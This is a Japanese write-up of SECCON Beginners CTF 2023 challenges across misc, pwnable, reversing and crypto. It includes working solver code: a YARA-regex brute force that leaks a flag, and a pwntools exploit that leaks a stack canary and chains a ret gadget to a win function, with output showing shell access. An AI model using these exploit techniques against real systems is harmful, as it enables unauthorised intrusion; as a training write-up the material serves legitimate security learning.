この大会は2023/6/3 14:00(JST)~2023/6/4 14:00(JST)に開催されました。
この大会はチーム戦でしたが、1人チームで参加。結果は549点で778チーム中171位でした。
同時に開催されていた他のCTFに注力していたため、結果はあまりよくないですが、今後のためにも自分の解けた問題をWriteupとして書いておきます。
Welcome (welcome)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}
YARO (misc)
flagにmatchするかどうかを1バイトずつアクセスしてブルートフォースで検出する。
#!/usr/bin/env python3 from pwn import * yar_format = '''rule flag { strings: $flag = /%s/ condition: $flag } ''' flag = 'ctf4b{' while True: for code in range(33, 127): if code in [42, 43, 45, 46, 63, 124]: continue p = remote('yaro.beginners.seccon.games', 5003) data = p.recvline().decode().rstrip() print(data) yar = yar_format % (flag + chr(code)) print(yar) p.sendline(yar.encode()) print() p.sendline() data = p.recvrepeat(1).decode().rstrip() print(data) p.close() if 'matched: [flag]' in data: flag += chr(code) break if '}' in flag: break print(flag)
実行結果は以下の通り。
: [+] Opening connection to yaro.beginners.seccon.games on port 5003: Done rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyy/ condition: $flag } OK. Now I find the malware from this rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyy/ condition: $flag } Not found: ./redir.sh Not found: ./server.py Not found: ./flag.txt Not found: ./requestments.txt [*] Closed connection to yaro.beginners.seccon.games port 5003 [+] Opening connection to yaro.beginners.seccon.games on port 5003: Done rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyz/ condition: $flag } OK. Now I find the malware from this rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyz/ condition: $flag } Not found: ./redir.sh Not found: ./server.py Not found: ./flag.txt Not found: ./requestments.txt [*] Closed connection to yaro.beginners.seccon.games port 5003 [+] Opening connection to yaro.beginners.seccon.games on port 5003: Done rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty{/ condition: $flag } OK. Now I find the malware from this rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty{/ condition: $flag } Not found: ./redir.sh Not found: ./server.py Not found: ./flag.txt Not found: ./requestments.txt [*] Closed connection to yaro.beginners.seccon.games port 5003 [+] Opening connection to yaro.beginners.seccon.games on port 5003: Done rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}/ condition: $flag } OK. Now I find the malware from this rule: rule flag { strings: $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}/ condition: $flag } Not found: ./redir.sh Not found: ./server.py Found: ./flag.txt, matched: [flag] Not found: ./requestments.txt [*] Closed connection to yaro.beginners.seccon.games port 5003 ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
poem (pwnable)
poemのアドレスから-4の位置にフラグがある。
$ nc poem.beginners.seccon.games 9000 Number[0-4]: -4 ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
rewriter2 (pwnable)
$ checksec --file rewriter2 [*] '/media/sf_Shared/rewriter2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
任意の40バイトを入力すると、canaryをリークすることができる。リークしたcanaryを踏まえて、BOFでwin関数をコールする。
$ ROPgadget --binary rewriter2 | grep ": ret" 0x000000000040101a : ret 0x0000000000401411 : ret 0x1175 0x0000000000401352 : ret 0x2d75 0x00000000004013b3 : ret 0x8948 0x0000000000401347 : ret 0x8b48 0x00000000004013ad : retf 0x8948 0x00000000004012d2 : retf 0xfffd
#!/usr/bin/env python3 from pwn import * p = remote('rewriter2.beginners.seccon.games', 9001) elf = ELF('./rewriter2') ret_addr = 0x40101a win_addr = elf.symbols['win'] payload = 'A' * 40 data = p.recvuntil(b'? ').decode() print(data + payload) p.sendline(payload.encode()) data = p.recvline().decode().rstrip() print(data) data = p.recv(7) print(data, end='') canary = b'\x00' + data payload = b'A' * 40 payload += canary payload += b'B' * 8 payload += p64(ret_addr) payload += p64(win_addr) data = p.recvuntil(b'? ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvuntil(b'Congratulations!\n').decode().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to rewriter2.beginners.seccon.games on port 9001: Done [*] '/media/sf_Shared/rewriter2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [Addr] | [Value] ====================+=================== 0x00007ffe9b08b2a0 | 0x00007fbe8a3ca2e8 <- buf 0x00007ffe9b08b2a8 | 0x00000000004014e0 0x00007ffe9b08b2b0 | 0x0000000000000000 0x00007ffe9b08b2b8 | 0x0000000000401110 0x00007ffe9b08b2c0 | 0x00007ffe9b08b3c0 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx <- canary 0x00007ffe9b08b2d0 | 0x0000000000000000 <- saved rbp 0x00007ffe9b08b2d8 | 0x00007fbe8a1fd083 <- saved ret addr 0x00007ffe9b08b2e0 | 0x00007fbe8a3fc620 0x00007ffe9b08b2e8 | 0x00007ffe9b08b3c8 What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA b"'^z\xfc\xc6\x19b" [Addr] | [Value] ====================+=================== 0x00007ffe9b08b2a0 | 0x4141414141414141 <- buf 0x00007ffe9b08b2a8 | 0x4141414141414141 0x00007ffe9b08b2b0 | 0x4141414141414141 0x00007ffe9b08b2b8 | 0x4141414141414141 0x00007ffe9b08b2c0 | 0x4141414141414141 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx <- canary 0x00007ffe9b08b2d0 | 0x0000000000000000 <- saved rbp 0x00007ffe9b08b2d8 | 0x00007fbe8a1fd083 <- saved ret addr 0x00007ffe9b08b2e0 | 0x00007fbe8a3fc620 0x00007ffe9b08b2e8 | 0x00007ffe9b08b3c8 How old are you? b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00'^z\xfc\xc6\x19bBBBBBBBB\x1a\x10@\x00\x00\x00\x00\x00\xc2\x12@\x00\x00\x00\x00\x00" Thank you! [Addr] | [Value] ====================+=================== 0x00007ffe9b08b2a0 | 0x4141414141414141 <- buf 0x00007ffe9b08b2a8 | 0x4141414141414141 0x00007ffe9b08b2b0 | 0x4141414141414141 0x00007ffe9b08b2b8 | 0x4141414141414141 0x00007ffe9b08b2c0 | 0x4141414141414141 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx <- canary 0x00007ffe9b08b2d0 | 0x4242424242424242 <- saved rbp 0x00007ffe9b08b2d8 | 0x000000000040101a <- saved ret addr 0x00007ffe9b08b2e0 | 0x00000000004012c2 0x00007ffe9b08b2e8 | 0x00007ffe9b08b30a Congratulations! [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
Half (reversing)
$ strings half | grep ctf4b -a3 -b3 227-Enter the FLAG: 244-%99s%*[^ 253-Invalid FLAG 266:ctf4b{ge4_t0_kn0w_the 288-_bin4ry_fi1e_with_s4ring3} 315-Correct! 324-:*3$"
ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}
Three (reversing)
Ghidraでデコンパイルする。
void main(void) { undefined local_48 [64]; printf("Enter the FLAG: "); __isoc99_scanf(&DAT_00102127,local_48); validate_flag(local_48); return; } undefined8 validate_flag(char *param_1) { char cVar1; size_t sVar2; undefined8 uVar3; int local_c; sVar2 = strlen(param_1); if (sVar2 == 0x31) { for (local_c = 0; local_c < 0x31; local_c = local_c + 1) { if (local_c % 3 == 0) { cVar1 = (char)*(undefined4 *)(flag_0 + (long)(local_c / 3) * 4); } else if (local_c % 3 == 1) { cVar1 = (char)*(undefined4 *)(flag_1 + (long)(local_c / 3) * 4); } else { cVar1 = (char)*(undefined4 *)(flag_2 + (long)(local_c / 3) * 4); } if (cVar1 != param_1[local_c]) { puts("Invalid FLAG"); return 1; } } puts("Correct!"); uVar3 = 0; } else { puts("Invalid FLAG"); uVar3 = 1; } return uVar3; } flag_0 XREF[3]: Entry Point(*), validate_flag:0010123e(*), validate_flag:00101245(*) 00102020 63 00 00 undefine 00 34 00 00 00 63 00102020 63 undefined163h [0] XREF[3]: Entry Point(*), validate_flag:0010123e(*), validate_flag:00101245(*) 00102021 00 undefined100h [1] 00102022 00 undefined100h [2] 00102023 00 undefined100h [3] 00102024 34 undefined134h [4] 00102025 00 undefined100h [5] 00102026 00 undefined100h [6] 00102027 00 undefined100h [7] 00102028 63 undefined163h [8] 00102029 00 undefined100h [9] 0010202a 00 undefined100h [10] 0010202b 00 undefined100h [11] 0010202c 5f undefined15Fh [12] 0010202d 00 undefined100h [13] 0010202e 00 undefined100h [14] 0010202f 00 undefined100h [15] 00102030 75 undefined175h [16] 00102031 00 undefined100h [17] 00102032 00 undefined100h [18] 00102033 00 undefined100h [19] 00102034 62 undefined162h [20] 00102035 00 undefined100h [21] 00102036 00 undefined100h [22] 00102037 00 undefined100h [23] 00102038 5f undefined15Fh [24] 00102039 00 undefined100h [25] 0010203a 00 undefined100h [26] 0010203b 00 undefined100h [27] 0010203c 5f undefined15Fh [28] 0010203d 00 undefined100h [29] 0010203e 00 undefined100h [30] 0010203f 00 undefined100h [31] 00102040 64 undefined164h [32] 00102041 00 undefined100h [33] 00102042 00 undefined100h [34] 00102043 00 undefined100h [35] 00102044 74 undefined174h [36] 00102045 00 undefined100h [37] 00102046 00 undefined100h [38] 00102047 00 undefined100h [39] 00102048 5f undefined15Fh [40] 00102049 00 undefined100h [41] 0010204a 00 undefined100h [42] 0010204b 00 undefined100h [43] 0010204c 72 undefined172h [44] 0010204d 00 undefined100h [45] 0010204e 00 undefined100h [46] 0010204f 00 undefined100h [47] 00102050 5f undefined15Fh [48] 00102051 00 undefined100h [49] 00102052 00 undefined100h [50] 00102053 00 undefined100h [51] 00102054 31 undefined131h [52] 00102055 00 undefined100h [53] 00102056 00 undefined100h [54] 00102057 00 undefined100h [55] 00102058 5f undefined15Fh [56] 00102059 00 undefined100h [57] 0010205a 00 undefined100h [58] 0010205b 00 undefined100h [59] 0010205c 34 undefined134h [60] 0010205d 00 undefined100h [61] 0010205e 00 undefined100h [62] 0010205f 00 undefined100h [63] 00102060 7d undefined17Dh [64] 00102061 00 undefined100h [65] 00102062 00 undefined100h [66] 00102063 00 undefined100h [67] flag_1 XREF[3]: Entry Point(*), validate_flag:0010129b(*), validate_flag:001012a2(*) 00102080 74 00 00 undefine 00 62 00 00 00 34 00102080 74 undefined174h [0] XREF[3]: Entry Point(*), validate_flag:0010129b(*), validate_flag:001012a2(*) 00102081 00 undefined100h [1] 00102082 00 undefined100h [2] 00102083 00 undefined100h [3] 00102084 62 undefined162h [4] 00102085 00 undefined100h [5] 00102086 00 undefined100h [6] 00102087 00 undefined100h [7] 00102088 34 undefined134h [8] 00102089 00 undefined100h [9] 0010208a 00 undefined100h [10] 0010208b 00 undefined100h [11] 0010208c 79 undefined179h [12] 0010208d 00 undefined100h [13] 0010208e 00 undefined100h [14] 0010208f 00 undefined100h [15] 00102090 5f undefined15Fh [16] 00102091 00 undefined100h [17] 00102092 00 undefined100h [18] 00102093 00 undefined100h [19] 00102094 31 undefined131h [20] 00102095 00 undefined100h [21] 00102096 00 undefined100h [22] 00102097 00 undefined100h [23] 00102098 74 undefined174h [24] 00102099 00 undefined100h [25] 0010209a 00 undefined100h [26] 0010209b 00 undefined100h [27] 0010209c 75 undefined175h [28] 0010209d 00 undefined100h [29] 0010209e 00 undefined100h [30] 0010209f 00 undefined100h [31] 001020a0 30 undefined130h [32] 001020a1 00 undefined100h [33] 001020a2 00 undefined100h [34] 001020a3 00 undefined100h [35] 001020a4 34 undefined134h [36] 001020a5 00 undefined100h [37] 001020a6 00 undefined100h [38] 001020a7 00 undefined100h [39] 001020a8 74 undefined174h [40] 001020a9 00 undefined100h [41] 001020aa 00 undefined100h [42] 001020ab 00 undefined100h [43] 001020ac 65 undefined165h [44] 001020ad 00 undefined100h [45] 001020ae 00 undefined100h [46] 001020af 00 undefined100h [47] 001020b0 73 undefined173h [48] 001020b1 00 undefined100h [49] 001020b2 00 undefined100h [50] 001020b3 00 undefined100h [51] 001020b4 69 undefined169h [52] 001020b5 00 undefined100h [53] 001020b6 00 undefined100h [54] 001020b7 00 undefined100h [55] 001020b8 66 undefined166h [56] 001020b9 00 undefined100h [57] 001020ba 00 undefined100h [58] 001020bb 00 undefined100h [59] 001020bc 67 undefined167h [60] 001020bd 00 undefined100h [61] 001020be 00 undefined100h [62] 001020bf 00 undefined100h [63] flag_2 XREF[3]: Entry Point(*), validate_flag:001012cb(*), validate_flag:001012d2(*) 001020c0 66 00 00 undefine 00 7b 00 00 00 6e 001020c0 66 undefined166h [0] XREF[3]: Entry Point(*), validate_flag:001012cb(*), validate_flag:001012d2(*) 001020c1 00 undefined100h [1] 001020c2 00 undefined100h [2] 001020c3 00 undefined100h [3] 001020c4 7b undefined17Bh [4] 001020c5 00 undefined100h [5] 001020c6 00 undefined100h [6] 001020c7 00 undefined100h [7] 001020c8 6e undefined16Eh [8] 001020c9 00 undefined100h [9] 001020ca 00 undefined100h [10] 001020cb 00 undefined100h [11] 001020cc 30 undefined130h [12] 001020cd 00 undefined100h [13] 001020ce 00 undefined100h [14] 001020cf 00 undefined100h [15] 001020d0 61 undefined161h [16] 001020d1 00 undefined100h [17] 001020d2 00 undefined100h [18] 001020d3 00 undefined100h [19] 001020d4 65 undefined165h [20] 001020d5 00 undefined100h [21] 001020d6 00 undefined100h [22] 001020d7 00 undefined100h [23] 001020d8 30 undefined130h [24] 001020d9 00 undefined100h [25] 001020da 00 undefined100h [26] 001020db 00 undefined100h [27] 001020dc 6e undefined16Eh [28] 001020dd 00 undefined100h [29] 001020de 00 undefined100h [30] 001020df 00 undefined100h [31] 001020e0 5f undefined15Fh [32] 001020e1 00 undefined100h [33] 001020e2 00 undefined100h [34] 001020e3 00 undefined100h [35] 001020e4 65 undefined165h [36] 001020e5 00 undefined100h [37] 001020e6 00 undefined100h [38] 001020e7 00 undefined100h [39] 001020e8 34 undefined134h [40] 001020e9 00 undefined100h [41] 001020ea 00 undefined100h [42] 001020eb 00 undefined100h [43] 001020ec 65 undefined165h [44] 001020ed 00 undefined100h [45] 001020ee 00 undefined100h [46] 001020ef 00 undefined100h [47] 001020f0 70 undefined170h [48] 001020f1 00 undefined100h [49] 001020f2 00 undefined100h [50] 001020f3 00 undefined100h [51] 001020f4 74 undefined174h [52] 001020f5 00 undefined100h [53] 001020f6 00 undefined100h [54] 001020f7 00 undefined100h [55] 001020f8 31 undefined131h [56] 001020f9 00 undefined100h [57] 001020fa 00 undefined100h [58] 001020fb 00 undefined100h [59] 001020fc 33 undefined133h [60] 001020fd 00 undefined100h [61] 001020fe 00 undefined100h [62] 001020ff 00 undefined100h [63]
flag0、flag1、flag2から4バイトずつ拾っていけばフラグになる。
#!/usr/bin/env python3 with open('three', 'rb') as f: data = f.read() flag0 = data[0x2020:0x2064] flag1 = data[0x2080:0x20c0] flag2 = data[0x20c0:0x2100] flags = [flag0, flag1, flag2] flag = '' for i in range(17): if i == 16: round = 1 else: round = 3 for j in range(round): flag += chr(flags[j][i * 4]) print(flag)
ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}
CoughingFox2 (crypto)
cipherの順番がわからないので、フラグは"c"から始まることを前提に、cipherの各値からiを引いて2乗の値になるものを探し、復号する。
#!/usr/bin/env python3 import gmpy2 with open('cipher.txt', 'r') as f: cipher = eval(f.read().rstrip().split(' = ')[1]) flag = 'c' for i in range(len(cipher)): for j in range(len(cipher)): m, success = gmpy2.iroot(cipher[j] - i, 2) if success: flag += chr(m - ord(flag[-1])) break print(flag)
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}
Conquer (crypto)
暗号化処理の概要は以下の通り。
・flag: flagを数値化したもの ・length: flagのビット長 ・key: lengthビットランダム整数 ・cipher: flagとkeyのXOR ・以下32回繰り返し ・key = ROL(key, pow(cipher, 3, length)) ・cipher ^= key ・key, cipherを表示
逆算すればよい。
#!/usr/bin/env python3 from Crypto.Util.number import * def ROR(bits, N): for _ in range(N): bits = (bits >> 1) | ((bits & 1) << (length - 1)) return bits with open('output.txt', 'r') as f: params = f.read().splitlines() key = int(params[0].split(' ')[-1]) cipher = int(params[1].split(' ')[-1]) length = cipher.bit_length() length += 7 - length % 8 for i in range(32): cipher ^= key key = ROR(key, pow(cipher, 3, length)) flag = cipher ^ key flag = long_to_bytes(flag).decode() print(flag)
ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}